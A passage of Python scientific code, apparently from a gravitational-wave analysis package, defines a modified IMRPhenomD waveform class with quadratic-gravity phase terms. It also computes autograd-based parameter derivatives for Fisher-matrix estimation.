self.param_deltas_derivs_f3 = list(map(lambda i:temp8(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i), np.arange(5) ))
# print("deltas: {}".format(time()-start))
self.fRD_deriv = []
for i in range(6):
self.fRD_deriv.append(grad(utilities.calculate_postmerger_fRD,i)(self.m1,self.m2,self.M,self.symmratio,self.chi_s,self.chi_a))
self.fdamp_deriv = []
for i in range(6):
self.fdamp_deriv.append(grad(utilities.calculate_postmerger_fdamp,i)(self.m1,self.m2,self.M,self.symmratio,self.chi_s,self.chi_a))
self.fpeak_deriv = []
for i in range(5):
self.fpeak_deriv.append(grad(utilities.calculate_fpeak,i)(self.M,self.fRD,self.fdamp,self.parameters[5],self.parameters[6]))
"""Only deviations from original IMRPhenomD are below: extra derivative for beta1,beta0, and extra log_factor"""
########################################################################################################################
self.delta_deriv = grad(utilities.calculate_delta)(self.symmratio)
self.beta1_deriv = []
self.beta0_deriv = []
self.alpha1_deriv = []
self.alpha0_deriv = []
for i in range(8):
self.beta1_deriv.append(grad(self.phase_cont_beta1,i)(self.chirpm,self.symmratio,self.delta,self.phic,self.tc,self.chi_a,self.chi_s,self.f_trans0))
for i in range(9):
self.beta0_deriv.append(grad(self.phase_cont_beta0,i)(self.chirpm,self.symmratio,self.delta,self.phic,self.tc,self.chi_a,self.chi_s,self.beta1,self.f_trans0))
for i in range(9):
self.alpha1_deriv.append(grad(self.phase_cont_alpha1,i)(self.chirpm,self.symmratio,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.beta0,self.beta1,self.f_trans1))
for i in range(10):
self.alpha0_deriv.append(grad(self.phase_cont_alpha0,i)(self.chirpm,self.symmratio,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.beta0,self.beta1,self.alpha1,self.f_trans1))
"""Populate array with variables for transformation from d/d(theta) to d/d(log(theta)) - begins with 0 because fisher matrix variables start at 1, not 0"""
self.log_factors = [0,self.A0,1,1,self.chirpm,self.symmratio,1,1,self.f_trans0,self.f_trans1]
"""Function for actual element integrand - 4*Re(dh/dtheta_i* dh/dtheta_j) - Vectorized
-added extra mod_phi argument"""
def calculate_waveform_derivative_vector(self,freq,i):
famp = self.split_freqs_amp(freq)
fphase = self.split_freqs_phase(freq)
"""Array of the functions used to populate derivative vectors"""
ampfunc = [self.amp_ins_vector,self.amp_int_vector,self.amp_mr_vector]
phasefunc = [self.phase_ins_vector,self.phase_int_vector,self.phase_mr_vector]
"""Check to see if every region is sampled - if integration frequency
doesn't reach a region, the loop is trimmed to avoid issues with unpopulated arrays"""
jamp=[0,1,2]
jphase=[0,1,2]
if len(famp[0]) == 0:
if len(famp[1])==0:
jamp = [2]
else:
if len(famp[2])==0:
jamp = [1]
else:
jamp = [1,2]
if len(famp[2])==0:
if len(famp[1]) == 0:
jamp = [0]
else:
if len(famp[0])==0:
jamp = [1]
else:
jamp = [0,1]
if len(fphase[0]) == 0:
if len(fphase[1])==0:
jphase = [2]
else:
if len(fphase[2])==0:
jphase = [1]
else:
jphase = [1,2]
if len(fphase[2])==0:
if len(fphase[1]) == 0:
jphase = [0]
else:
if len(fphase[0])==0:
jphase = [1]
else:
jphase = [0,1]
# jamp = [0,1,2]
# for i in np.arange(len(famp)):
# if len(famp[i]) == 0:
# jamp[i] = -1
# jamp = [x for x in jamp if x != -1]
# jphase = [0,1,2]
# for i in np.arange(len(fphase)):
# if len(fphase[i]) == 0:
# jphase[i] = -1
# jphase = [x for x in jphase if x != -1]
#
var_arr= self.var_arr[:]
gamp = [[],[],[]]
amp = [[],[],[]]
phase = [[],[],[]]
"""Array of the functions used to populate derivative vectors"""
ampfunc = [self.amp_ins_vector,self.amp_int_vector,self.amp_mr_vector]
phasefunc = [self.phase_ins_vector,self.phase_int_vector,self.phase_mr_vector]
"""Populate derivative vectors one region at a time"""
for j in jamp:
var_arr= self.var_arr[:]
famp[j], var_arr[i-1] = np.broadcast_arrays(famp[j],var_arr[i-1])
gamp[j]=( egrad(ampfunc[j],i)(famp[j],var_arr[0],var_arr[1],var_arr[2],var_arr[3],var_arr[4],var_arr[5],var_arr[6],var_arr[7],var_arr[8]))
var_arr= self.var_arr[:]
amp[j]= ampfunc[j](famp[j],var_arr[0],var_arr[1],var_arr[2],var_arr[3],var_arr[4],var_arr[5],var_arr[6],var_arr[7],var_arr[8])
for j in jphase:
var_arr= self.var_arr[:]
fphase[j], var_arr[i-1] = np.broadcast_arrays(fphase[j],var_arr[i-1])
phase[j]=( egrad(phasefunc[j],i)(fphase[j],var_arr[0],var_arr[1],var_arr[2],var_arr[3],var_arr[4],var_arr[5],var_arr[6],var_arr[7],var_arr[8]))
"""Concatenate the regions into one array"""
gampout,ampout,phaseout = [],[],[]
for j in jamp:
ampout = np.concatenate((ampout,amp[j]))
gampout = np.concatenate((gampout,gamp[j]))
for j in jphase:
phaseout = np.concatenate((phaseout,phase[j]))
"""Return the complex waveform derivative"""
return np.subtract(gampout,np.multiply(ampout,np.multiply(1j,phaseout)))
"""Calculate the waveform - vectorized
Outputs: amp vector, phase vector, (real) waveform vector
-added extra mod_phi argument"""
def calculate_waveform_vector(self,freq):
"""Array of the functions used to populate derivative vectors"""
ampfunc = [self.amp_ins_vector,self.amp_int_vector,self.amp_mr_vector]
phasefunc = [self.phase_ins_vector,self.phase_int_vector,self.phase_mr_vector]
"""Check to see if every region is sampled - if integration frequency
doesn't reach a region, the loop is trimmed to avoid issues with unpopulated arrays"""
famp = self.split_freqs_amp(freq)
fphase = self.split_freqs_phase(freq)
jamp = [0,1,2]
for i in np.arange(len(famp)):
if len(famp[i]) == 0:
jamp[i] = -1
jamp = [x for x in jamp if x != -1]
jphase = [0,1,2]
for i in np.arange(len(fphase)):
if len(fphase[i]) == 0:
jphase[i] = -1
jphase = [x for x in jphase if x != -1]
var_arr= self.var_arr[:]
amp = [[],[],[]]
phase = [[],[],[]]
"""Populate derivative vectors one region at a time"""
for j in jamp:
amp[j]= ampfunc[j](famp[j],var_arr[0],var_arr[1],var_arr[2],var_arr[3],var_arr[4],var_arr[5],var_arr[6],var_arr[7],var_arr[8])
for j in jphase:
phase[j]=phasefunc[j](fphase[j],var_arr[0],var_arr[1],var_arr[2],var_arr[3],var_arr[4],var_arr[5],var_arr[6],var_arr[7],var_arr[8])
"""Concatenate the regions into one array"""
ampout,phaseout =[],[]
for j in jamp:
ampout = np.concatenate((ampout,amp[j]))
for j in jphase:
if phase[j] is not None:
phaseout = np.concatenate((phaseout,phase[j]))
"""Return the amplitude vector, phase vector, and real part of the waveform"""
return ampout,phaseout, np.multiply(ampout,np.cos(phaseout))
"""Derivative Definitions - added phase_mod to derivatives"""
@primitive
def assign_beta1(self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,f_trans0):
for j in [chirpm,delta,symmratio,phic,tc,chi_a,chi_s,f_trans0]:
if isinstance(j,np.ndarray):
return np.ones(len(j))*self.beta1
return self.beta1
defvjp(assign_beta1,None,
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,phase_mod: lambda g: g*self.beta1_deriv[0],
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,phase_mod: lambda g: g*self.beta1_deriv[1],
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,phase_mod: lambda g: g*self.beta1_deriv[2],
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,phase_mod: lambda g: g*self.beta1_deriv[3],
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,phase_mod: lambda g: g*self.beta1_deriv[4],
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,phase_mod: lambda g: g*self.beta1_deriv[5],
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,phase_mod: lambda g: g*self.beta1_deriv[6],
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,phase_mod: lambda g: g*self.beta1_deriv[7])
@primitive
def assign_beta0(self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,f_trans0):
for j in [chirpm,delta,symmratio,phic,tc,chi_a,chi_s,beta1,f_trans0]:
if isinstance(j,np.ndarray):
return np.ones(len(j))*self.beta0
return self.beta0
defvjp(assign_beta0,None,
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod: lambda g: g*self.beta0_deriv[0],
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod: lambda g: g*self.beta0_deriv[1],
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod: lambda g: g*self.beta0_deriv[2],
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod: lambda g: g*self.beta0_deriv[3],
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod: lambda g: g*self.beta0_deriv[4],
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod: lambda g: g*self.beta0_deriv[5],
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod: lambda g: g*self.beta0_deriv[6],
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod: lambda g: g*self.beta0_deriv[7],
lambda ans,self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod: lambda g: g*self.beta0_deriv[8])
@primitive
def assign_alpha1(self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,f_trans1):
for j in [chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,f_trans1]:
if isinstance(j,np.ndarray):
return np.ones(len(j))*self.alpha1
return self.alpha1
defvjp(assign_alpha1,None,
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,phase_mod: lambda g: g*self.alpha1_deriv[0],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,phase_mod: lambda g: g*self.alpha1_deriv[1],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,phase_mod: lambda g: g*self.alpha1_deriv[2],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,phase_mod: lambda g: g*self.alpha1_deriv[3],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,phase_mod: lambda g: g*self.alpha1_deriv[4],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,phase_mod: lambda g: g*self.alpha1_deriv[5],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,phase_mod: lambda g: g*self.alpha1_deriv[6],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,phase_mod: lambda g: g*self.alpha1_deriv[7],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,phase_mod: lambda g: g*self.alpha1_deriv[8])
@primitive
def assign_alpha0(self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,f_trans1):
for j in [chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,f_trans1]:
if isinstance(j,np.ndarray):
return np.ones(len(j))*self.alpha0
return self.alpha0
defvjp(assign_alpha0,None,
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,phase_mod: lambda g: g*self.alpha0_deriv[0],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,phase_mod: lambda g: g*self.alpha0_deriv[1],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,phase_mod: lambda g: g*self.alpha0_deriv[2],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,phase_mod: lambda g: g*self.alpha0_deriv[3],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,phase_mod: lambda g: g*self.alpha0_deriv[4],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,phase_mod: lambda g: g*self.alpha0_deriv[5],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,phase_mod: lambda g: g*self.alpha0_deriv[6],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,phase_mod: lambda g: g*self.alpha0_deriv[7],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,phase_mod: lambda g: g*self.alpha0_deriv[8],
lambda ans,self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,phase_mod: lambda g: g*self.alpha0_deriv[9])
#Rewrite to accept array of parameters - then won't have to copy and paste for child classes
""""modified imrphenomd with A0 as argument of inspiral phase"""
class Modified_IMRPhenomD_Quadratic_Base_Inspiral_detector_frame(Modified_IMRPhenomD_Inspiral_Freq_detector_frame):
def __init__(self, mass1, mass2,spin1,spin2, collision_time,
collision_phase,Luminosity_Distance,phase_mod = 0,bppe = -3,
cosmo_model = cosmology.Planck15,NSflag = False,N_detectors = 1):
"""Populate model variables"""
#print("Quadratic Gravity Initialization")
self.N_detectors = N_detectors
self.NSflag = NSflag
self.cosmo_model = cosmo_model
self.DL = Luminosity_Distance
self.tc = float(collision_time)
self.phic = float(collision_phase)
self.symmratio = (mass1 * mass2) / (mass1 + mass2 )**2
#self.chirpme = (mass1 * mass2)**(3/5)/(mass1 + mass2)**(1/5)
self.delta = utilities.calculate_delta(self.symmratio)
self.chirpm = (mass1 * mass2)**(3/5)/(mass1 + mass2)**(1/5)
#self.Z =Distance(Luminosity_Distance/mpc,unit=u.Mpc).compute_z(cosmology = self.cosmo_model)#.01
#self.chirpm = self.chirpme*(1+self.Z)
self.M = utilities.calculate_totalmass(self.chirpm,self.symmratio)
self.m1 = utilities.calculate_mass1(self.chirpm,self.symmratio)
self.m2 = utilities.calculate_mass2(self.chirpm,self.symmratio)
self.totalMass_restframe = mass1+mass2
self.A0 =(np.pi/30)**(1/2)*self.chirpm**2/self.DL * (np.pi*self.chirpm)**(-7/6)
#self.A0 =(np.pi*40./192.)**(1/2)*self.chirpm**2/self.DL * (np.pi*self.chirpm)**(-7/6)
#print(mass1/s_solm,mass2/s_solm,self.chirpm/s_solm)
"""Spin Variables"""
self.chi1 = spin1
self.chi2 = spin2
self.chi_s = (spin1 + spin2)/2
self.chi_a = (spin1 - spin2)/2
"""Post Newtonian Phase"""
self.pn_phase = np.zeros(8)
for i in [0,1,2,3,4,7]:
self.pn_phase[i] = utilities.calculate_pn_phase(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,1,i)
"""Numerical Fit Parameters"""
self.parameters =[]
for i in np.arange(len(Lambda)):
self.parameters.append(self.calculate_parameter(self.chirpm,self.symmratio,self.chi_a,self.chi_s,i))
"""Post Newtonian Amplitude"""
self.pn_amp = np.zeros(7)
for i in np.arange(7):
self.pn_amp[i]=utilities.calculate_pn_amp(self.symmratio,self.delta,self.chi_a,self.chi_s,i)
"""Post Merger Parameters - Ring Down frequency and Damping frequency"""
self.fRD = utilities.calculate_postmerger_fRD(\
self.m1,self.m2,self.M,self.symmratio,self.chi_s,self.chi_a)
self.fdamp = utilities.calculate_postmerger_fdamp(\
self.m1,self.m2,self.M,self.symmratio,self.chi_s,self.chi_a)
self.fpeak = utilities.calculate_fpeak(self.M,self.fRD,self.fdamp,self.parameters[5],self.parameters[6])
"""Calculating the parameters for the intermediate amplitude region"""
self.param_deltas = np.zeros(5)
for i in np.arange(5):
self.param_deltas[i] = self.calculate_delta_parameter(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i)
"""Only modifications to the system variables are below:
-beta1
-beta0
-phase_mod
-bppe
-var_arr"""
#################################################################################
"""Phase continuity parameters"""
"""Must be done in order - beta1,beta0,alpha1, then alpha0"""
self.phase_mod = float(phase_mod)
self.bppe = bppe
self.beta1 = self.phase_cont_beta1(self.A0,self.chirpm,self.symmratio,self.delta,self.phic,self.tc,self.chi_a,self.chi_s,self.phase_mod)
self.beta0 = self.phase_cont_beta0(self.A0,self.chirpm,self.symmratio,self.delta,self.phic,self.tc,self.chi_a,self.chi_s,self.beta1,self.phase_mod)
self.alpha1 = self.phase_cont_alpha1(self.chirpm,self.symmratio,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.beta0,self.beta1,self.phase_mod)
self.alpha0 = self.phase_cont_alpha0(self.chirpm,self.symmratio,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.beta0,self.beta1,self.alpha1,self.phase_mod)
self.var_arr = [self.A0,self.phic,self.tc,self.chirpm,self.symmratio,self.chi_s,self.chi_a,self.phase_mod]
def phase_cont_beta1(self,A0,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,phase_mod):
M = self.assign_totalmass(chirpm,symmratio)
f1 = 0.018/M
pn_phase =[]
for x in np.arange(len(self.pn_phase)):
pn_phase.append(self.assign_pn_phase(chirpm,symmratio,delta,chi_a,chi_s,f1,x))
beta2 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,12)
beta3 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,13)
sigma2 =self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,8)
sigma3 =self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,9)
sigma4 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,10)
#ins_grad = egrad(self.phi_ins,0)(f1,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase,phase_mod)
#int_grad = egrad(self.phi_int,0)(f1,M,symmratio,0,0,beta2,beta3,chirpm,phase_mod)
ins_grad = self.Dphi_ins(f1,A0,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase,phase_mod)
int_grad = self.Dphi_int(f1,M,symmratio,0,0,beta2,beta3,chirpm,phase_mod)
return ((1/M)*ins_grad*symmratio
-symmratio/M*int_grad)
def phase_cont_beta0(self,A0,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod):
M = self.assign_totalmass(chirpm,symmratio)
f1 = 0.018/M
pn_phase =[]
for x in np.arange(len(self.pn_phase)):
pn_phase.append(self.assign_pn_phase(chirpm,symmratio,delta,chi_a,chi_s,f1,x))
beta2 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,12)
beta3 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,13)
sigma2 =self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,8)
sigma3 =self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,9)
sigma4 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,10)
return self.phi_ins(f1,A0,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase,phase_mod)*symmratio \
- symmratio*self.phi_int(f1,M,symmratio,0,beta1,beta2,beta3,chirpm,phase_mod)
######################################################################################
"""Added Phase Modification"""
def phi_ins(self,f,A0,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase,phase_mod):
return (super(Modified_IMRPhenomD_Quadratic_Base_Inspiral_detector_frame,self).phi_ins(f,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase,phase_mod))# + phase_mod*(chirpm*np.pi*f)**(self.bppe/3))
def Dphi_ins(self,f,A0,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase,phase_mod):
return (super(Modified_IMRPhenomD_Quadratic_Base_Inspiral_detector_frame,self).Dphi_ins(f,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase,phase_mod))#+phase_mod*(chirpm*np.pi)**(self.bppe/3)*f**(self.bppe/3-1)*(self.bppe/3))
"""Uses overriden phi_ins method - added phase_mod arg and A0"""
def phase_ins_vector(self,f,A0,phic,tc,chirpm,symmratio,chi_s,chi_a,phase_mod):
M = self.assign_totalmass(chirpm,symmratio)
m1 = self.assign_mass1(chirpm,symmratio)
m2 = self.assign_mass2(chirpm,symmratio)
delta = self.assign_delta(symmratio)
fRD = self.assign_fRD(m1,m2,M,symmratio,chi_s,chi_a)
sigma2 =self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,8)
sigma3 =self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,9)
sigma4 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,10)
pn_phase= []
for i in [0,1,2,3,4,5,6,7]:
pn_phase.append( self.assign_pn_phase(chirpm,symmratio,delta,chi_a,chi_s,f,i))
return self.phi_ins(f,A0,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase,phase_mod)
"""Only added phase_mod and A0 to the arguments of beta1 and beta0 - Otherwise, exact copy of GR model method"""
def phase_mr_vector(self,f,A0,phic,tc,chirpm,symmratio,chi_s,chi_a,phase_mod):
M = self.assign_totalmass(chirpm,symmratio)
m1 = self.assign_mass1(chirpm,symmratio)
m2 = self.assign_mass2(chirpm,symmratio)
delta = self.assign_delta(symmratio)
fRD = self.assign_fRD(m1,m2,M,symmratio,chi_s,chi_a)
fdamp = self.assign_fdamp(m1,m2,M,symmratio,chi_s,chi_a)
fpeak = self.assign_fpeak(M,fRD,fdamp,self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,5),self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,6))
beta1 = self.assign_beta1(A0,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,phase_mod)
beta0 = self.assign_beta0(A0,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod)
alpha1 = self.assign_alpha1(chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,phase_mod)
alpha0 = self.assign_alpha0(chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,phase_mod)
alpha2 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,15)
alpha3 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,16)
alpha4 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,17)
alpha5 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,18)
return self.phi_mr(f,chirpm,symmratio,alpha0,alpha1,alpha2,alpha3,alpha4,alpha5,fRD,fdamp,phase_mod)
"""Added phase_mod and A0 arg to beta parameter calls"""
def phase_int_vector(self,f,A0,phic,tc,chirpm,symmratio,chi_s,chi_a,phase_mod):
M = self.assign_totalmass(chirpm,symmratio)
m1 = self.assign_mass1(chirpm,symmratio)
m2 = self.assign_mass2(chirpm,symmratio)
delta = self.assign_delta(symmratio)
fRD = self.assign_fRD(m1,m2,M,symmratio,chi_s,chi_a)
beta1 = self.assign_beta1(A0,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,phase_mod)
beta0 = self.assign_beta0(A0,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod)
beta2 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,12)
beta3 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,13)
return self.phi_int(f,M,symmratio,beta0,beta1,beta2,beta3,chirpm,phase_mod)
"""Added derivatives for all the mod phi arguments - """
def calculate_derivatives(self):
"""Pre-calculate Derivatives here - (Order does matter - parameter functions may be functions of system constants)
If the variable is instantiated as an array, a derivate array for each system variable is created and is cycled through
(ie Lambda paramaters is parameters[i] and has derivate arrays parameters_deriv_symmratio etc).
If the variable is a single value, the variable has one array of derivates, the elements of which are the derivatives wrt
various system variables (ie M -> M_deriv[i] for symmratio and chripm etc)
-M
-m1
-m2
-Lambda parameters
-pn_amp
-pn_phase
-delta parameters (intermediate amplitude parameters)
-fRD
-fdamp
-fpeak
-delta (mass parameter)
-phase continuitiy variables (beta1,beta0,alpha1,alpha0)
"""
self.total_mass_deriv = []
for i in range(2):
self.total_mass_deriv.append(grad(utilities.calculate_totalmass,i)(self.chirpm,self.symmratio))
self.mass1_deriv = []
for i in range(2):
self.mass1_deriv.append(grad(utilities.calculate_mass1,i)(self.chirpm,self.symmratio))
self.mass2_deriv = []
for i in range(2):
self.mass2_deriv.append(grad(utilities.calculate_mass2,i)(self.chirpm,self.symmratio))
self.lambda_derivs_symmratio=[]
self.lambda_derivs_chirpm = []
self.lambda_derivs_chi_a = []
self.lambda_derivs_chi_s = []
for i in np.arange(len(Lambda)):
self.lambda_derivs_chirpm.append(grad(self.calculate_parameter,0)(self.chirpm,self.symmratio,self.chi_a,self.chi_s,i))
self.lambda_derivs_symmratio.append(grad(self.calculate_parameter,1)(self.chirpm,self.symmratio,self.chi_a,self.chi_s,i))
self.lambda_derivs_chi_a.append(grad(self.calculate_parameter,2)(self.chirpm,self.symmratio,self.chi_a,self.chi_s,i))
self.lambda_derivs_chi_s.append(grad(self.calculate_parameter,3)(self.chirpm,self.symmratio,self.chi_a,self.chi_s,i))
self.pn_amp_deriv_symmratio = []
self.pn_amp_deriv_delta = []
self.pn_amp_deriv_chi_a = []
self.pn_amp_deriv_chi_s = []
for i in np.arange(len(self.pn_amp)):
self.pn_amp_deriv_symmratio.append(grad(utilities.calculate_pn_amp,0)(self.symmratio,self.delta,self.chi_a,self.chi_s,i))
self.pn_amp_deriv_delta.append(grad(utilities.calculate_pn_amp,1)(self.symmratio,self.delta,self.chi_a,self.chi_s,i))
self.pn_amp_deriv_chi_a.append(grad(utilities.calculate_pn_amp,2)(self.symmratio,self.delta,self.chi_a,self.chi_s,i))
self.pn_amp_deriv_chi_s.append(grad(utilities.calculate_pn_amp,3)(self.symmratio,self.delta,self.chi_a,self.chi_s,i))
self.pn_phase_deriv_chirpm = []
self.pn_phase_deriv_symmratio = []
self.pn_phase_deriv_delta = []
self.pn_phase_deriv_chi_a = []
self.pn_phase_deriv_chi_s = []
for i in np.arange(len(self.pn_phase)):
self.pn_phase_deriv_chirpm.append(grad(utilities.calculate_pn_phase,0)(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,1.1,i))
self.pn_phase_deriv_symmratio.append(grad(utilities.calculate_pn_phase,1)(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,1.1,i))
self.pn_phase_deriv_delta.append(grad(utilities.calculate_pn_phase,2)(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,1.1,i))
self.pn_phase_deriv_chi_a.append(grad(utilities.calculate_pn_phase,3)(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,1.1,i))
self.pn_phase_deriv_chi_s.append(grad(utilities.calculate_pn_phase,4)(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,1.1,i))
"""Delta Parameters take up ~50 percent of the total time"""
temp1 = grad(self.calculate_delta_parameter,0)
temp2 = grad(self.calculate_delta_parameter,1)
temp3 = grad(self.calculate_delta_parameter,2)
temp4 = grad(self.calculate_delta_parameter,3)
temp5 = grad(self.calculate_delta_parameter,4)
temp6 = grad(self.calculate_delta_parameter,5)
temp7 = grad(self.calculate_delta_parameter,6)
temp8 = grad(self.calculate_delta_parameter,7)
self.param_deltas_derivs_chirpm = list(map(lambda i:temp1(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i), np.arange(5) ))
self.param_deltas_derivs_symmratio = list(map(lambda i:temp2(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i), np.arange(5) ))
self.param_deltas_derivs_delta = list(map(lambda i:temp3(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i), np.arange(5) ))
self.param_deltas_derivs_chi_a = list(map(lambda i:temp4(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i), np.arange(5) ))
self.param_deltas_derivs_chi_s = list(map(lambda i:temp5(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i), np.arange(5) ))
self.param_deltas_derivs_fRD = list(map(lambda i:temp6(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i), np.arange(5) ))
self.param_deltas_derivs_fdamp = list(map(lambda i:temp7(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i), np.arange(5) ))
self.param_deltas_derivs_f3 = list(map(lambda i:temp8(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i), np.arange(5) ))
# print("deltas: {}".format(time()-start))
self.fRD_deriv = []
for i in range(6):
self.fRD_deriv.append(grad(utilities.calculate_postmerger_fRD,i)(self.m1,self.m2,self.M,self.symmratio,self.chi_s,self.chi_a))
self.fdamp_deriv = []
for i in range(6):
self.fdamp_deriv.append(grad(utilities.calculate_postmerger_fdamp,i)(self.m1,self.m2,self.M,self.symmratio,self.chi_s,self.chi_a))
self.fpeak_deriv = []
for i in range(5):
self.fpeak_deriv.append(grad(utilities.calculate_fpeak,i)(self.M,self.fRD,self.fdamp,self.parameters[5],self.parameters[6]))
"""Only deviations from original IMRPhenomD are below: extra derivative for beta1,beta0, and extra log_factor"""
########################################################################################################################
